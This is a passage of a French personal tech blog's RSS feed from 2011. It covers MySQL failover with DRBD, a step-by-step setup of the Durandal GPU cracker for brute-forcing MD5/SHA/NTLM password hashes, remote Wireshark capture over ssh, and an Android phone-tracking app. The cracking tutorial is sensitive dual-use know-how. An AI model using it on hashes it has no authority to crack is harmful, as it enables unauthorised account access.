<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;service domain=&quot;MYSQL&quot; name=&quot;mysql&quot; recovery=&quot;relocate&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;drbd name=&quot;drdb-mysql&quot; resource=&quot;r0&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;fs device=&quot;/dev/drdb0&quot; fsid=&quot;6202&quot; fstype=&quot;ext3&quot; mountpoint=&quot;/var/lib/mysql&quot; name=&quot;mysql&quot; options=&quot;noatime&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/drbd&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;ip ref=&quot;192.168.1.31&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;mysql ref=&quot;mysql&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/service&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/rm&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;cman expected_votes=&quot;1&quot; two_node=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;fence_daemon clean_start=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/cluster&gt;</div>
</li>
</ol>
</div>
<p>Une fois la conf mise en place (si c&#8217;est en autostart, ça devrait partir tout seul), sinon : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">clusvcadm -e <span class="st0">&quot;NOM du service&quot;</span></div>
</li>
</ol>
</div>
<p><strong>Les astuces du LoupZeur</strong><br />
Pour ne pas subir d&#8217;interblocage du rgmanager avec fence (blocage complet du service, rgmanager renvoit dans les logs un joli &laquo;&nbsp;Waiting for CMAN to start&nbsp;&raquo;), je vous conseille vivement de rajouter le clean_start=1 pour le fence_daemon.</p>
<p>Dans l&#8217;interface Web : Preferences -> Enable &laquo;&nbsp;Expert&nbsp;&raquo; mode puis HomeBase -> &laquo;&nbsp;ClusterName&nbsp;&raquo; -> Configure -> Fence Daemon -> Clean Start</p>
<p>En cas d&#8217;interblocage : 2 solutions</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">cman_tool leave force</div>
</li>
</ol>
</div>
<p>et si ça marche pas<br />
modification de /etc/sysconfig/cman et mettre FENCE_JOIN à NO avec un beau </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">service cman restart</div>
</li>
</ol>
</div>
<p>et rgmanager devrait se relancer.</p>
<p>bon HAing <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1142">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/" rel="bookmark" title="Permanent Link: Fake fencing sur Red Hat6">Fake fencing sur Red Hat6</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/changement-dadresse/" rel="bookmark" title="Permanent Link: Changement d&#8217;adresse">Changement d&#8217;adresse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/se-monter-un-environnement-de-developpement-lamp-rapidement/" rel="bookmark" title="Permanent Link: Se monter un environnement de developpement LAMP rapidement">Se monter un environnement de developpement LAMP rapidement</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securite-installation-de-lids-prelude-sur-debian/" rel="bookmark" title="Permanent Link: Sécurité : Installation de l&#8217;IDS Prelude sur debian">Sécurité : Installation de l&#8217;IDS Prelude sur debian</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, &#8230;)</title>
		<link>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/</link>
		<comments>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/#comments</comments>
		<pubDate>Sun, 25 Dec 2011 16:27:10 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[distribué]]></category>
		<category><![CDATA[gpu]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[sha]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1134</guid>
		<description><![CDATA[Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230; Le projet que je vais utiliser ici s&#8217;appelle Durandal, et c&#8217;est un projet français !!. Le logiciel en question supporte : Linux/Windows en 32 et 64 bits et est capable de [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230;</p>
<p>Le projet que je vais utiliser ici s&#8217;appelle <a href="http://durandal-project.org/">Durandal</a>, et c&#8217;est un projet français !!.<br />
<span id="more-1134"></span><br />
Le logiciel en question supporte :</p>
<p>Linux/Windows en 32 et 64 bits et est capable de péter du MD5,SHA1/256/512,NTLMv1 et MYSQL via GPU par CUDA (pas d&#8217;OpenCL pour le moment), soit par brute force, soit par les <a href="http://fr.wikipedia.org/wiki/Cha%C3%AEne_de_Markov">chaines de markov</a> (j&#8217;ai pas tout lu sur le sujet, mais ça a l&#8217;air passionant xD).</p>
<p>Il fonctionne en distribué (possibilité d&#8217;avoir donc plusieurs machines effectuant les calculs nécessaire au cracking).</p>
<p><strong>CUDA</strong> (partie apparement pas obligatoire)<br />
Pour ce tuto, j&#8217;utilise ubuntu 11.10, avec un Phenom 810 X4 et une GTX260, avec les drivers NVidia de base (depuis la version 260, les drivers fournit proposent un support direct de CUDA, il suffit donc de récupérer et d&#8217;installer le &laquo;&nbsp;CUDA Toolkit for Ubuntu Linux 10.10&#8243;, c&#8217;est juste pour choper le nvcc et générer le cubin plus tard).</p>
<p>Puis on indique les path de cuda dans le ~/.bashrc :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">PATH=</span><span class="re1">$PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>bin</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">LD_LIBRARY_PATH=</span><span class="re1">$LD_LIBRARY_PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>lib</div>
</li>
<li class="li1">
<div class="de1"><span class="co0">## a rajouter pour un ubuntu 64 bits</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co0"># export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64</span></div>
</li>
</ol>
</div>
<p>Ensuite sur ubuntu la version de GCC/G++ est la 4.6 et cuda ne supporte pas les version au-dessus de la 4.5<br />
Donc on install la 4.4, et l&#8217;on créer les update-alternatives pour switcher à nouveau en 4.6, histoire d&#8217;être pas trop crade</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> g++<span class="nu0">-4.4</span> gcc<span class="nu0">-4.4</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">gcc</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">g++</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">cc</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">c++</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p>Un petit coup de update-alternatives pour switcher entre les version 4.6 et 4.4</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p><strong>Durandal</strong></p>
<p>On passe à l&#8217;installation de durandal (la manip est indiqué sur le <a href="http://durandal-project.org/getting_started.html">site web</a>) :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> cmake <span class="kw2">make</span> <span class="kw2">g++</span> libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev libboost-date-time-dev python2<span class="nu0">.6</span> openssl git-core <span class="sy0">&amp;&amp;</span> git clone http:<span class="sy0">//</span>durandal-project.org<span class="sy0">/</span>durandal<span class="sy0">/</span></div>
</li>
</ol>
</div>
<p>Dans le README, il est conseillé de faire un nvcc sur le fichier src/agent/kernels/md5.cu, puis faire un bin/cudump md5.cubin, mais le fichier hpp généré ne peut être utilisé (le build plante, au final, mon GPU sera tout de même détecté et utilisé donc c&#8217;est pas trop grave).</p>
<p>Donc on passe direct à la compil/install.</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> durandal<span class="sy0">/</span>build <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> install_linux.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p>Ensuite, il suffit de suivre les instructions des différents executables</p>
<p><strong>durandal.sh</strong>, qui créer le serveur en demandant les ports d&#8217;administration (j&#8217;utilise le port 21000) et de cracking (j&#8217;utilise le port 20000) pour les clients</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> ..<span class="sy0">/</span>bin <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> durandal.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p><strong>admin</strong>, qui drope une console d&#8217;admin pour ajouter hashes</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>admin <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> -p <span class="nu0">21000</span> -k mdpadmin</div>
</li>
<li class="li1">
<div class="de1">add bf md5 icivotrehashmd5</div>
</li>
</ol>
</div>
<p>agent, qui permet au client de lancer le cracking (à distance, ou en local)</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>agent</div>
</li>
</ol>
</div>
<p>Les petits screenshots (avec le md5 mis en exemple sur le site du projet durandal) :</p>
<p>le serveur et la console d&#8217;administration :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/12/durandal-server-admin.png" alt="" title="durandal-server-admin" width="934" height="543" class="aligncenter size-full wp-image-1135" /></p>
<p>le client avec le benchmark à son lancement (sur la même machine dans mon cas), ma GTX260 n&#8217;est pas aussi bien que ce que j&#8217;espérais, mais elle à quand même deux ans ^^ :<br />
<img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/12/agent.png" alt="" title="agent" width="551" height="982" class="aligncenter size-full wp-image-1136" /></p>
<p>Un projet sympa à suivre &#8230;</p>
<p><strong>Ressources : </strong><br />
Durandal : http://durandal-project.org/index.html<br />
Alternative Gcc/G++ : http://askubuntu.com/questions/26498/choose-gcc-and-g-version<br />
CUDA (toolkit et SDK) : http://developer.nvidia.com/cuda-toolkit-40</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1134">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/" rel="bookmark" title="Permanent Link: Cracking de WPA/PSK (Pyrit/CowPatty)">Cracking de WPA/PSK (Pyrit/CowPatty)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/" rel="bookmark" title="Permanent Link: Téléchargement Direct et Linux (Tucan)">Téléchargement Direct et Linux (Tucan)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/commandes-linux-sympa/" rel="bookmark" title="Permanent Link: Commandes linux sympa">Commandes linux sympa</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/exemple-de-bot-dauthentification-et-de-clic-en-php/" rel="bookmark" title="Permanent Link: Exemple de Bot d&#8217;Authentification et de clic en Php">Exemple de Bot d&#8217;Authentification et de clic en Php</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wireshark en remote via un tube nommé</title>
		<link>http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/</link>
		<comments>http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/#comments</comments>
		<pubDate>Mon, 12 Dec 2011 12:24:30 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Non classé]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1130</guid>
		<description><![CDATA[Plop &#8230; Je viens de découvrir l&#8217;utilisation des tubes pour utiliser wireshark en &#171;&#160;remote&#160;&#187;, en balançant du tcpdump à distance dans le tube lu sur la machine locale par wireshark (en résumé ). La manipulation est très simple et est à effectuer sur la machine locale : mkfifo /tmp/wirepipe ssh root@10.75.25.1 &#34;tcpdump -s 65535 port [...]]]></description>
			<content:encoded><![CDATA[<p>Plop &#8230;</p>
<p>Je viens de découvrir l&#8217;utilisation des tubes pour utiliser wireshark en &laquo;&nbsp;remote&nbsp;&raquo;, en balançant du tcpdump à distance dans le tube lu sur la machine locale par wireshark (en résumé <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).<br />
<span id="more-1130"></span></p>
<p>La manipulation est très simple et est à effectuer sur la machine locale :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">mkfifo</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">ssh</span> root<span class="sy0">@</span><span class="nu0">10.75</span><span class="nu0">.25</span><span class="nu0">.1</span> <span class="st0">&quot;tcpdump -s 65535 port 80 -w -&quot;</span> <span class="sy0">&gt;</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
</ol>
</div>
<p>Explication :<br />
On créer un tube nommé wirepipe<br />
On ouvre une session root sur la machine 10.75.25.1 et on lance un tcpdump qui sniff le port 80 (de 10.75.25.1) et renvoi le tout à la sortie standard qui est renvoyé au tube.</p>
<p>Dans un autre terminal, on lance Wireshark :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">wireshark -k -i <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
</ol>
</div>
<p>Et voilà, tout ce qui passe dans le tube est lue par wireshark en temps réel (plutôt sympa pour décoder des trams sur des serveurs en <del datetime="2011-12-12T11:31:28+00:00">prod</del> debug), et beaucoup plus simple que de faire du tcpdump, puis de télécharger le dump et le lire avec wireshark en local, et c&#8217;est plus secure que de faire sniffer directement wireshark sur le réseau.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1130">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/detournement-de-donnees/" rel="bookmark" title="Permanent Link: Détournement de données ^^.">Détournement de données ^^.</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/souhaiter-de-joyeuses-fetes-en-piratant-les-dns-de-sa-boite/" rel="bookmark" title="Permanent Link: Souhaiter de joyeuses fêtes en piratant ses DNS ^^.">Souhaiter de joyeuses fêtes en piratant ses DNS ^^.</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-git-pour-gerer-ses-projets-mini-memo/" rel="bookmark" title="Permanent Link: Utiliser Git pour gérer ses projets (mini mémo)">Utiliser Git pour gérer ses projets (mini mémo)</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/backtrack-4-passe-en-pre-final/" rel="bookmark" title="Permanent Link: BackTrack 4 passe en pre-final &#8230;">BackTrack 4 passe en pre-final &#8230;</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/creer-un-paquet-pour-les-ppa/" rel="bookmark" title="Permanent Link: Créer un paquet pour les ppa">Créer un paquet pour les ppa</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Android] application de contrôle à distance/backup/info</title>
		<link>http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/</link>
		<comments>http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 17:23:41 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[android]]></category>
		<category><![CDATA[...]]></category>
		<category><![CDATA[perte]]></category>
		<category><![CDATA[récupération]]></category>
		<category><![CDATA[remote]]></category>
		<category><![CDATA[vol]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1120</guid>
		<description><![CDATA[plop à tous &#8230; Encore une appli inutile que je ne vais probablement pas terminer ^^, mais qui m&#8217;a permis d&#8217;apprendre pas mal de trucs sur android et gwt (notamment le fameux C2DM). Le but de l&#8217;appli est très simple, on a oublié où l&#8217;on a mis son téléphone ? on se l&#8217;est fait voler [...]]]></description>
			<content:encoded><![CDATA[<p>plop à tous &#8230;</p>
<p>Encore une appli inutile que je ne vais probablement pas terminer ^^, mais qui m&#8217;a permis d&#8217;apprendre pas mal de trucs sur android et gwt (notamment le fameux <a href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/">C2DM</a>).</p>
<p>Le but de l&#8217;appli est très simple, on a oublié où l&#8217;on a mis son téléphone ? on se l&#8217;est fait voler ?<br />
Grâce aux notifications C2DM, on peux envoyer des messages au téléphone pour obtenir sa position, le faire sonner, &#8230; sans avoir de tâche de fond dédiée qui bouffe de la batterie ou qui aurait pu se faire killer par le système de gestion de mémoire.</p>
<p><strong>[Aparté sur la sécurité]</strong> Le petit bémol du C2DM, c&#8217;est que si votre téléphone n&#8217;est pas verrouillé (code, schéma, &#8230;) et qu&#8217;une personne supprime l&#8217;application ou supprime vos comptes google, l&#8217;application ne fonctionnera plus &#8230; et ne permettra plus d&#8217;être tracé donc ^^. (d&#8217;un autre côté, c&#8217;est aussi le cas de la plupart des applications &#8230;)</p>
<p><span id="more-1120"></span></p>
<p>Pour le moment seule l&#8217;architecture de base est en place :</p>
<ul>
<li>Côté site web (<a href="https://github.com/cipher16/RCBackUpAndWipeWeb">github</a>) :
<ul>
<li>Authentification</li>
<li>Envoi de notifications</li>
<li>Stockage des données</li>
<li>Affichage des informations (à perfectionner)</li>
<li>A faire : Utilisation d&#8217;un fwk d&#8217;event pour afficher l&#8217;info directement à sa reception</li>
<li>A faire : Gestion des messages d&#8217;erreur</li>
<li>A faire : Info sur l&#8217;utilisations</li>
<li>A faire : Ergo/Charte graphique</li>
</ul>
</li>
<li>Côté application android (<a href="https://github.com/cipher16/RCBackUpAndWipe">github</a>) :
<ul>
<li>Authentification</li>
<li>Réception des notification</li>
<li>Envoi des données (GPS (perfectible &#8230;), Statut)</li>
<li>Exécution d&#8217;action (sonnerie seulement pour le moment)</li>
<li>A faire : Ergo/Info/Licence/Contrat, &#8230;</li>
</ul>
</li>
</ul>
<p>Un screen du site :<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu.png" alt="" title="rcbu" width="758" height="466" class="aligncenter size-full wp-image-1122" /></a></p>
<p>L&#8217;application (dispo <a href="https://github.com/cipher16/RCBackUpAndWipe/raw/master/bin/RCBackupAndWipe.apk">ici</a>)</p>
<p><a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu-android.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu-android.png" alt="" title="rcbu-android" width="324" height="458" class="aligncenter size-full wp-image-1124" /></a></p>
<p>Pour <del datetime="2011-08-14T16:47:15+00:00">l&#8217;utiliser</del> la tester et la synchroniser, il faut sélectionner le &laquo;&nbsp;Mail Account&nbsp;&raquo; avec lequel on veut s&#8217;authentifier sur le site : <a href="https://rcbuandroid.appspot.com">rcbuweb</a> puis sélectionner les infos que l&#8217;on veut (l&#8217;info peut mettre plusieurs secondes avant d&#8217;être récupérée).</p>
<p>Au premier clic on envoi la notif, au deuxieme on l&#8217;affiche (faut que je trouve un système de push gwt client/serveur pour faire ça proprement).</p>
<p>L&#8217;appli est en développement pour le moment, mais ça fonctionne déjà pas trop mal (à part le mode GPS satellite (autant rester en network) &#8230; car une fois activé, il ne s&#8217;éteint plus et bouffe de la batterie pour rien ;s).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1120">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/programmation/java/application-android-pour-les-horaires-de-trambus-grenoblois-tagsemitag/" rel="bookmark" title="Permanent Link: Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)">Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)</a></li><li><a href="http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/" rel="bookmark" title="Permanent Link: Application android pour le téléchargement des versions de Cyanogen">Application android pour le téléchargement des versions de Cyanogen</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/mon-application-android-pour-les-horaires-de-la-cts/" rel="bookmark" title="Permanent Link: Mon Application Android pour les horaires de la CTS">Mon Application Android pour les horaires de la CTS</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/" rel="bookmark" title="Permanent Link: Android C2DM Notification push en bash avec wget">Android C2DM Notification push en bash avec wget</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/un-peu-davancement-dans-lapplication-android-de-la-cts/" rel="bookmark" title="Permanent Link: Un peu d&#8217;avancement dans l&#8217;application Android de la CTS &#8230;">Un peu d&#8217;avancement dans l&#8217;application Android de la CTS &#8230;</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Android C2DM Notification push en bash avec wget</title>
		<link>http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 18:00:10 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[android]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[c2dm]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1116</guid>
		<description><![CDATA[plop à tous &#8230; encore un article &#171;&#160;borderline&#160;&#187; et completement useless &#8230; Cette fois pour tester les notifications C2DM (cloud to device messaging), l&#8217;équivalent Android des push iphone en un peu plus complexe nécessité d&#8217;avoir un compte google devant s&#8217;authentifier pour ensuite envoyer un message par device_id (le device id pouvant expirer, tout comme l&#8217;authentification), [...]]]></description>
			<content:encoded><![CDATA[<p>plop à tous &#8230; encore un article &laquo;&nbsp;borderline&nbsp;&raquo; et completement useless &#8230;</p>
<p>Cette fois pour tester les notifications C2DM (<a href="http://code.google.com/intl/fr/android/c2dm/">cloud to device messaging</a>), l&#8217;équivalent Android des push iphone en un peu plus complexe nécessité d&#8217;avoir un compte google devant s&#8217;authentifier pour ensuite envoyer un message par device_id (le device id pouvant expirer, tout comme l&#8217;authentification), pour les push iphone il suffisait d&#8217;avoir les tokens et basta ^^).</p>
